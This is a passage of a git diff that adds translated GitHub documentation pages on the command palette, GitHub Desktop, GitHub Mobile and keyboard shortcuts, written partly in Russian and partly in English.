<kbd>COMMAND</kbd>+<kbd>ВВОД</kbd> (Mac). + +## Поиск с помощью {% data variables.product.prodname_command_palette %} + +Палитру команд можно использовать для поиска в {% data variables.location.product_location %}. + +{% data reusables.command-palette.open-palette %} + +{% data reusables.command-palette.change-scope %} + +3. При необходимости используйте нажатия клавиш для поиска ресурсов определенных типов: + + - <kbd>#</kbd> — поиск проблем, запросов на вытягивание, обсуждений и проектов; + - <kbd>!</kbd> — поиск проектов; + - <kbd>@</kbd> — поиск пользователей, организаций и репозиториев; + - <kbd>/</kbd> — поиск файлов в области репозитория. + + ![Поиск файлов в палитре команд](/assets/images/help/command-palette/command-palette-search-files.png) + +4. Начните вводить условия поиска. Палитра команд предложит ряд поисковых запросов в зависимости от области поиска. + + {% tip %} + + В палитре команд можно также использовать полный синтаксис встроенного поиска {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Поиск сведений на {% data variables.product.prodname_dotcom %}](/search-github). + + {% endtip %} + +5. Используйте клавиши со стрелками, чтобы выделить нужный результат поиска, и нажмите клавишу <kbd>ВВОД</kbd>, чтобы перейти к выбранному расположению. Кроме того, можно открыть расположение на новой вкладке браузера, нажав клавиши <kbd>CTRL</kbd>+<kbd>ВВОД</kbd> (Windows и Linux) или <kbd>COMMAND</kbd>+<kbd>ВВОД</kbd> (Mac). + +## Выполнение команд из {% data variables.product.prodname_command_palette %} + +{% data variables.product.prodname_command_palette %} позволяет выполнять команды. Например, можно создать репозиторий или проблему либо сменить тему. При выполнении команды расположение действия определяется базовой страницей или областью, показанной в палитре команд. + +- Команды для запросов на вытягивание и проблем всегда выполняются на базовой странице. +- Команды более высокого уровня, например для репозиториев, выполняются в области, показанной в палитре команд. + +Полный список поддерживаемых команд см. в разделе [Справка по {% data variables.product.prodname_command_palette %}](#github-command-palette-reference). + +1. Сочетания клавиш по умолчанию для открытия палитры команд в командном режиме: <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>K</kbd> (Windows и Linux) или <kbd>COMMAND</kbd>+<kbd>SHIFT</kbd>+<kbd>K</kbd> (Mac). Если палитра команд уже открыта, нажмите <kbd>></kbd>, чтобы перейти в командный режим. {% data variables.product.prodname_dotcom %} предлагает команды в зависимости от расположения. + + ![Командный режим палитры команд](/assets/images/help/command-palette/command-palette-command-mode.png) + +{% data reusables.command-palette.change-scope %} + +3. Если нужная команда не отображается, проверьте область, а затем начните вводить имя команды в текстовом поле. + +4. Используйте клавиши со стрелками, чтобы выделить нужную команду, и нажмите клавишу <kbd>ВВОД</kbd> для ее запуска. + + +## Закрытие палитры команд + +Если палитра команд активна, ее можно закрыть, нажав одно из следующих сочетаний клавиш: + +- Режим поиска и навигации: <kbd>ESC</kbd> или <kbd>CTRL</kbd>+<kbd>K</kbd> (Windows и Linux); <kbd>COMMAND</kbd>+<kbd>K</kbd> (Mac) +- Командный режим: <kbd>ESC</kbd> или <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>K</kbd> (Windows и Linux); <kbd>COMMAND</kbd>+<kbd>SHIFT</kbd>+<kbd>K</kbd> (Mac) + +Если вы настроили сочетания клавиш для палитры команд в параметрах специальных возможностей, настроенные сочетания клавиш будут использоваться как для открытия, так и для закрытия палитры команд. + +## Справка по {% data variables.product.prodname_command_palette %} + +### Функции нажатия клавиш + +Эти нажатия клавиш доступны, если палитра команд находится в режиме навигации и поиска, то есть они недоступны в командном режиме. + +| Клавиши | Компонент | +| :- | :- | +|<kbd>></kbd>| Вход в командный режим. Дополнительные сведения см. в разделе [Выполнение команд из {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette). | +|<kbd>#</kbd>| Поиск проблем, запросов на вытягивание, обсуждений и проектов. Дополнительные сведения см. в разделе [Поиск с помощью {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette).| +|<kbd>@</kbd>| Поиск пользователей, организаций и репозиториев. Дополнительные сведения см. в разделе [Поиск с помощью {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette).| +|<kbd>/</kbd>| Поиск файлов в области репозитория или репозиториев в области организации. Дополнительные сведения см. в разделе [Поиск с помощью {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette). | +|<kbd>!</kbd>| Поиск только проектов. Дополнительные сведения см. в разделе [Поиск с помощью {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette).| +|<kbd>CTRL</kbd>+<kbd>C</kbd> или <kbd>COMMAND</kbd>+<kbd>C</kbd>| Копирование URL-адреса поиска или навигации для выделенного результата в буфер обмена.| +|<kbd>ВВОД</kbd>| Переход к выделенному результату или выполнение выделенной команды.| +|<kbd>CTRL</kbd>+<kbd>ВВОД</kbd> или <kbd>COMMAND</kbd>+<kbd>ВВОД</kbd>| Открытие выделенного результата поиска или навигации на новой вкладке браузера.| +|<kbd>?</kbd>| Отображение справки в палитре команд.| + +### Глобальные команды + +Эти команды доступны во всех областях. + +| Команда | Поведение| +| :- | :- | :- | +|`Import repository`|Создание репозитория путем импорта проект из другой системы управления версиями. Дополнительные сведения см. в разделе [Импорт репозитория с помощью средства импорта GitHub](/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer). | +|`New gist`|Открытие нового объекта gist. Дополнительные сведения см. в разделе [Создание объекта gist](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists). | +|`New organization`|Создание организации. Дополнительные сведения см. в статье "[Создание новой организации с нуля](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)". | +|`New project`|Создание доски проекта. Дополнительные сведения см. в разделе [Создание проекта](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project). | +|`New repository`|Создание репозитория с нуля. Дополнительные сведения см. в разделе [Создание репозитория](/repositories/creating-and-managing-repositories/creating-a-new-repository). | +|`Switch theme to <theme name>`|Переключение на другую тему пользовательского интерфейса. Дополнительные сведения см. в разделе [Управление параметрами темы](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings). | + + +### Команды для организации + +Эти команды доступны только в области организации. + +| Команда | Поведение| +| :- | :- | +| `New team`| Создание команды в текущей организации. Дополнительные сведения см. в статье "[Создание команды](/organizations/organizing-members-into-teams/creating-a-team)". + +### Команды для репозитория + +Большинство этих команд доступны только на домашней странице репозитория. Если команда также доступна на других страницах, это указано в столбце "Поведение". + +| Команда | Поведение| +| :- | :- | +|`Clone repository: <URL type>`|Копирование URL-адреса, необходимого для клонирования репозитория с помощью {% data variables.product.prodname_cli %}, HTTPS или SSH, в буфер обмена. Дополнительные сведения см. в разделе [Клонирование репозитория](/repositories/creating-and-managing-repositories/cloning-a-repository).| +|`New discussion`|Создание обсуждения в репозитории. Дополнительные сведения см. в разделе [Создание обсуждения](/discussions/quickstart#creating-a-new-discussion).| +|`New file`|Создание файла с любой страницы репозитория. Дополнительные сведения см. в разделе [Добавление файла в репозиторий](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository). +|`New issue`|Открытие новой проблемы с любой страницы репозитория. Дополнительные сведения см. в статье "[Создание проблемы](/issues/tracking-your-work-with-issues/creating-an-issue)".| +|`Open in new codespace`|Создание и открытие codespace для этого репозитория. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository).| +|`Open in github.dev editor`|Открытие текущего репозитория в редакторе github.dev. Дополнительные сведения см. в разделе [Открытие веб-редактора](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor).| + +### Команды для файла + +Эти команды доступны только при открытии палитры команд из файла в репозитории. + +| Команда | Поведение| +| :- | :- | +|`Copy permalink`|Создание ссылки на файл с SHA текущей фиксации и ее копирование в буфер обмена. Дополнительные сведения см. в разделе [Получение постоянных ссылок на файлы](/repositories/working-with-files/using-files/getting-permanent-links-to-files#press-y-to-permalink-to-a-file-in-a-specific-commit). +|`Open in github.dev editor`|Открытие текущего отображаемого файла в редакторе github.dev. Дополнительные сведения см. в разделе [Открытие веб-редактора](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor).| + +### Команды для обсуждения + +Эти команды доступны только при открытии палитры команд из обсуждения. Они выполняются на текущей странице, и на них не влияет область, заданная в палитре команд. + +| Команда | Поведение| +| :- | :- | +|`Delete discussion...`|Окончательное удаление обсуждения. Дополнительные сведения см. в разделе [Управление обсуждениями](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion). +|`Edit discussion body`|Открытие основного текста обсуждения для редактирования. +|`Subscribe`/`unsubscribe`|Отказ или согласие на получение уведомлений о добавлении содержимого к обсуждению. Дополнительные сведения см. в разделе [Сведения об уведомлениях](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). +|`Transfer discussion...`|Перемещение обсуждения в другой репозиторий. Дополнительные сведения см. в разделе [Управление обсуждениями](/discussions/managing-discussions-for-your-community/managing-discussions#transferring-a-discussion). + +### Команды для проблемы + +Эти команды доступны только при открытии палитры команд из проблемы. Они выполняются на текущей странице, и на них не влияет область, заданная в палитре команд. + +| Команда | Поведение| +| :- | :- | +|`Close`/`reopen issue`|Закрытие или повторное открытие текущей проблемы. Дополнительные сведения см. в разделе [Сведения о проблемах](/issues/tracking-your-work-with-issues/about-issues).| +|`Convert issue to discussion...`|Преобразование текущей проблемы в обсуждение. Дополнительные сведения см. в разделе [Модерация обсуждений](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion). +|`Delete issue...`|Удаление текущей проблемы. Дополнительные сведения см. в разделе [Удаление проблемы](/issues/tracking-your-work-with-issues/deleting-an-issue).| +|`Edit issue body`|Открытие основного текста проблемы для редактирования. +|`Edit issue title`|Открытие заголовка проблемы для редактирования. +|`Lock issue`|Запрет на добавление новых комментариев пользователями без доступа на запись в репозиторий. Дополнительные сведения см. в разделе [Блокировка бесед](/communities/moderating-comments-and-conversations/locking-conversations). +|`Pin`/`unpin issue`|Отображение или скрытие проблемы в разделе закрепленных проблем репозитория. Дополнительные сведения см. в разделе [Закрепление проблемы в репозитории](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository).| +|`Subscribe`/`unsubscribe`|Отказ или согласие на получение уведомлений об изменениях в проблеме. Дополнительные сведения см. в разделе [Сведения об уведомлениях](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). +|`Transfer issue...`|Перенос проблемы в другой репозиторий. Дополнительные сведения см. в разделе [Перенос проблемы в другой репозиторий](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository).| + +### Команды для запроса на вытягивание + +Эти команды доступны только при открытии палитры команд из запроса на вытягивание. Они выполняются на текущей странице, и на них не влияет область, заданная в палитре команд. + +| Команда | Поведение| +| :- | :- | +|`Close`/`reopen pull request`|Закрытие или повторное открытие текущего запроса на вытягивание. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).| +|`Convert to draft`/`Mark pull request as ready for review`|Изменение состояния запроса на вытягивание: готов или не готов к проверке. Дополнительные сведения см. в разделе [Изменение состояния запроса на вытягивание](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request).| +|`Copy current branch name`| Добавление имени главной ветви запроса на вытягивание в буфер обмена. +|`Edit pull request body`|Открытие основного текста запроса на вытягивание для редактирования. +|`Edit pull request title`|Открытие заголовка запроса на вытягивание для редактирования. +|`Open in new codespace`|Создание и открытие codespace для главной ветви запроса на вытягивание. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). +|`Subscribe`/`unsubscribe`|Отказ или согласие на получение уведомлений об изменениях в запросе на вытягивание. Дополнительные сведения см. в разделе [Сведения об уведомлениях](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). +|`Update current branch`|Обновление главной ветви запроса на вытягивание с учетом изменений из базовой ветви. Доступно только для запросов на вытягивание, предназначенных для ветви репозитория по умолчанию. Дополнительные сведения см. в разделе [Сведения о ветвях](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches).| diff --git a/translations/ru-RU/content/get-started/using-github/github-desktop.md b/translations/ru-RU/content/get-started/using-github/github-desktop.md new file mode 100644 index 000000000000..cfb546cc56b8 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/github-desktop.md @@ -0,0 +1,29 @@ +--- +title: GitHub Desktop +intro: '{% data variables.product.prodname_desktop %} позволяет расширить и упростить рабочий процесс Git и {% data variables.product.prodname_dotcom %} за счет визуального интерфейса.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Desktop +redirect_from: + - /github/getting-started-with-github/github-desktop + - /github/getting-started-with-github/using-github/github-desktop +ms.openlocfilehash: 91187d415f45a5cd3e09f7d5132ecd13d86879df +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137921' +--- +## Сведения о {% data variables.product.prodname_desktop %} + +{% data reusables.desktop.about-github-desktop %} + +Дополнительные сведения о {% data variables.product.prodname_desktop %} см. в разделе [Установка и настройка {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop) в документации по {% data variables.product.prodname_desktop %}. + +## Отправка отзывов + +Если у вас есть отзыв или запрос функции, можно открыть проблему в [репозитории `desktop/desktop`](https://github.com/desktop/desktop). diff --git a/translations/ru-RU/content/get-started/using-github/github-mobile.md b/translations/ru-RU/content/get-started/using-github/github-mobile.md new file mode 100644 index 000000000000..74cd8e8b2ad0 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/github-mobile.md @@ -0,0 +1,94 @@ +--- +title: GitHub Mobile +intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.' +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Mobile +redirect_from: + - /get-started/using-github/github-for-mobile + - /github/getting-started-with-github/github-for-mobile + - /github/getting-started-with-github/using-github/github-for-mobile +--- + +## About {% data variables.product.prodname_mobile %} + +{% data reusables.mobile.about-mobile %} + +{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application. + +With {% data variables.product.prodname_mobile %} you can: + +- Manage, triage, and clear notifications +- Read, review, and collaborate on issues and pull requests +- Edit files in pull requests +- Search for, browse, and interact with users, repositories, and organizations +- Receive a push notification when someone mentions your username +{% ifversion fpt or ghec %}- Secure your GitHub.com account with two-factor authentication +- Verify your sign in attempts on unrecognized devices{% endif %} + +For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)." + +{% ifversion fpt or ghec %}- For more information on two-factor authentication using {% data variables.product.prodname_mobile %}, see "[Configuring {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile) and [Authenticating using {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication##verifying-with-github-mobile)." {% endif %} + +## Installing {% data variables.product.prodname_mobile %} + +To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile). + +## Managing accounts + +You can be simultaneously signed into mobile with one personal account on {% data variables.product.prodname_dotcom_the_website %} and one personal account on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)." + +{% data reusables.mobile.push-notifications-on-ghes %} + +{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN. + +### Prerequisites + +You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}. + +To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.location.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} + +During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a personal account on {% data variables.product.prodname_dotcom_the_website %}. + +### Adding, switching, or signing out of accounts + +You can sign into mobile with a personal account on {% data variables.product.prodname_ghe_server %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in. + +After you sign into mobile with a personal account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to. + +If you no longer need to access data for your personal account on {% data variables.product.prodname_ghe_server %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**. + +## Supported languages for {% data variables.product.prodname_mobile %} + +{% data variables.product.prodname_mobile %} is available in the following languages. + +- English +- Japanese +- Brazilian Portuguese +- Simplified Chinese +- Spanish + +If you configure the language on your device to a supported language, {% data variables.product.prodname_mobile %} will default to the language. You can change the language for {% data variables.product.prodname_mobile %} in {% data variables.product.prodname_mobile %}'s **Settings** menu. + +## Managing Universal Links for {% data variables.product.prodname_mobile %} on iOS + +{% data variables.product.prodname_mobile %} automatically enables Universal Links for iOS. When you tap any {% data variables.product.product_name %} link, the destination URL will open in {% data variables.product.prodname_mobile %} instead of Safari. For more information, see [Universal Links](https://developer.apple.com/ios/universal-links/) on the Apple Developer site. + +To disable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open**. Every time you tap a {% data variables.product.product_name %} link in the future, the destination URL will open in Safari instead of {% data variables.product.prodname_mobile %}. + +To re-enable Universal Links, long-press any {% data variables.product.product_name %} link, then tap **Open in {% data variables.product.prodname_dotcom %}**. + +## Sharing feedback + +You can submit feature requests or other feedback for {% data variables.product.prodname_mobile %} on [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/mobile). + +## Opting out of beta releases for iOS + +If you're testing a beta release of {% data variables.product.prodname_mobile %} for iOS using TestFlight, you can leave the beta at any time. + +1. On your iOS device, open the TestFlight app. +2. Under "Apps", tap **{% data variables.product.prodname_dotcom %}**. +3. At the bottom of the page, tap **Stop Testing**. diff --git a/translations/ru-RU/content/get-started/using-github/index.md b/translations/ru-RU/content/get-started/using-github/index.md new file mode 100644 index 000000000000..e7f0a46f957c --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/index.md @@ -0,0 +1,28 @@ +--- +title: Использование GitHub +intro: 'Изучите продукты {% data variables.product.company_short %} с разных платформ и устройств.' +redirect_from: + - /articles/using-github + - /github/getting-started-with-github/using-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /exploring-early-access-releases-with-feature-preview + - /supported-browsers + - /github-cli + - /github-desktop + - /github-mobile + - /keyboard-shortcuts + - /github-command-palette + - /troubleshooting-connectivity-problems +ms.openlocfilehash: dbe6936818564528d9d7af8a7550f36af486945f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145137910' +--- + diff --git a/translations/ru-RU/content/get-started/using-github/keyboard-shortcuts.md b/translations/ru-RU/content/get-started/using-github/keyboard-shortcuts.md new file mode 100644 index 000000000000..416cf4f6d157 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/keyboard-shortcuts.md @@ -0,0 +1,245 @@ +--- +title: Keyboard shortcuts +intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.' +redirect_from: + - /articles/using-keyboard-shortcuts + - /categories/75/articles + - /categories/keyboard-shortcuts + - /articles/keyboard-shortcuts + - /github/getting-started-with-github/keyboard-shortcuts + - /github/getting-started-with-github/using-github/keyboard-shortcuts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +## About keyboard shortcuts + +Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate. + +{% ifversion keyboard-shortcut-accessibility-setting %} +You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings)."{% endif %} + +Below is a list of some of the available keyboard shortcuts. +{% ifversion command-palette %} +The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} + +## Site wide shortcuts + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>S</kbd> or <kbd>/</kbd> | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." +|<kbd>G</kbd> <kbd>N</kbd> | Go to your notifications. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)." +|<kbd>Esc</kbd> | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in +{% ifversion command-palette %}|<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} + +## Repositories + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>G</kbd> <kbd>C</kbd> | Go to the **Code** tab +|<kbd>G</kbd> <kbd>I</kbd> | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)." +|<kbd>G</kbd> <kbd>P</kbd> | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %} +|<kbd>G</kbd> <kbd>A</kbd> | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %} +|<kbd>G</kbd> <kbd>B</kbd> | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)." +|<kbd>G</kbd> <kbd>W</kbd> | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion discussions %} +|<kbd>G</kbd> <kbd>G</kbd> | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %} + +## Source code editing + +| Keyboard shortcut | Description +|-----------|------------{% ifversion fpt or ghec %} +|<kbd>.</kbd> | Opens a repository or pull request in the web-based editor in the same browser tab. You must be signed in to use the editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)." +|<kbd>></kbd> | Opens a repository or pull request in the web-based editor in a new browser tab. You must be signed in to use the editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %} +|<kbd>Command</kbd>+<kbd>B</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) | Inserts Markdown formatting for bolding text +|<kbd>Command</kbd>+<kbd>I</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>I</kbd> (Windows/Linux) | Inserts Markdown formatting for italicizing text +|<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %} +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Windows/Linux) | Inserts Markdown formatting for an ordered list +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Windows/Linux) | Inserts Markdown formatting for an unordered list +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Windows/Linux) | Inserts Markdown formatting for a quote{% endif %} +|<kbd>E</kbd> | Open source code file in the **Edit file** tab +|<kbd>Command</kbd>+<kbd>F</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>F</kbd> (Windows/Linux) | Start searching in file editor +|<kbd>Command</kbd>+<kbd>G</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>G</kbd> (Windows/Linux) | Find next +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>G</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>G</kbd> (Windows/Linux) | Find previous +|<kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>F</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>F</kbd> (Windows/Linux) | Replace +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>Option</kbd>+<kbd>F</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>R</kbd> (Windows/Linux) | Replace all +|<kbd>Alt</kbd>+<kbd>G</kbd> | Jump to line +|<kbd>Command</kbd>+<kbd>Z</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Z</kbd> (Windows/Linux) | Undo +|<kbd>Command</kbd>+<kbd>Y</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Y</kbd> (Windows/Linux) | Redo +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> | Toggles between the **Edit file** and **Preview changes** tabs +|<kbd>Command</kbd>+<kbd>S</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>S</kbd> (Windows/Linux) | Write a commit message + +For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands). + +## Source code browsing + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>T</kbd> | Activates the file finder +|<kbd>L</kbd> | Jump to a line in your code +|<kbd>W</kbd> | Switch to a new branch or tag +|<kbd>Y</kbd> | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)." +|<kbd>I</kbd> | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)." +|<kbd>A</kbd> | Show or hide annotations on diffs +|<kbd>B</kbd> | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)." + +## Comments + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Command</kbd>+<kbd>B</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) | Inserts Markdown formatting for bolding text +|<kbd>Command</kbd>+<kbd>I</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>I</kbd> (Windows/Linux) | Inserts Markdown formatting for italicizing text +|<kbd>Command</kbd>+<kbd>E</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>E</kbd> (Windows/Linux) | Inserts Markdown formatting for code or a command within a line{% ifversion fpt or ghae > 3.3 or ghes or ghec %} +|<kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Inserts Markdown formatting for creating a link{% endif %}{% ifversion fpt or ghae > 3.5 or ghes > 3.5 or ghec %} +|<kbd>Command</kbd>+<kbd>V</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>V</kbd> (Windows/Linux) | Creates a Markdown link when applied over highlighted text{% endif %} +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) | Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.4 or ghec %} +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>V</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>V</kbd> (Windows/Linux) | Pastes HTML link as plain text{% endif %} +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>Option</kbd>+<kbd>V</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Alt</kbd>+<kbd>V</kbd> (Windows/Linux) | Pastes HTML link as plain text +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> 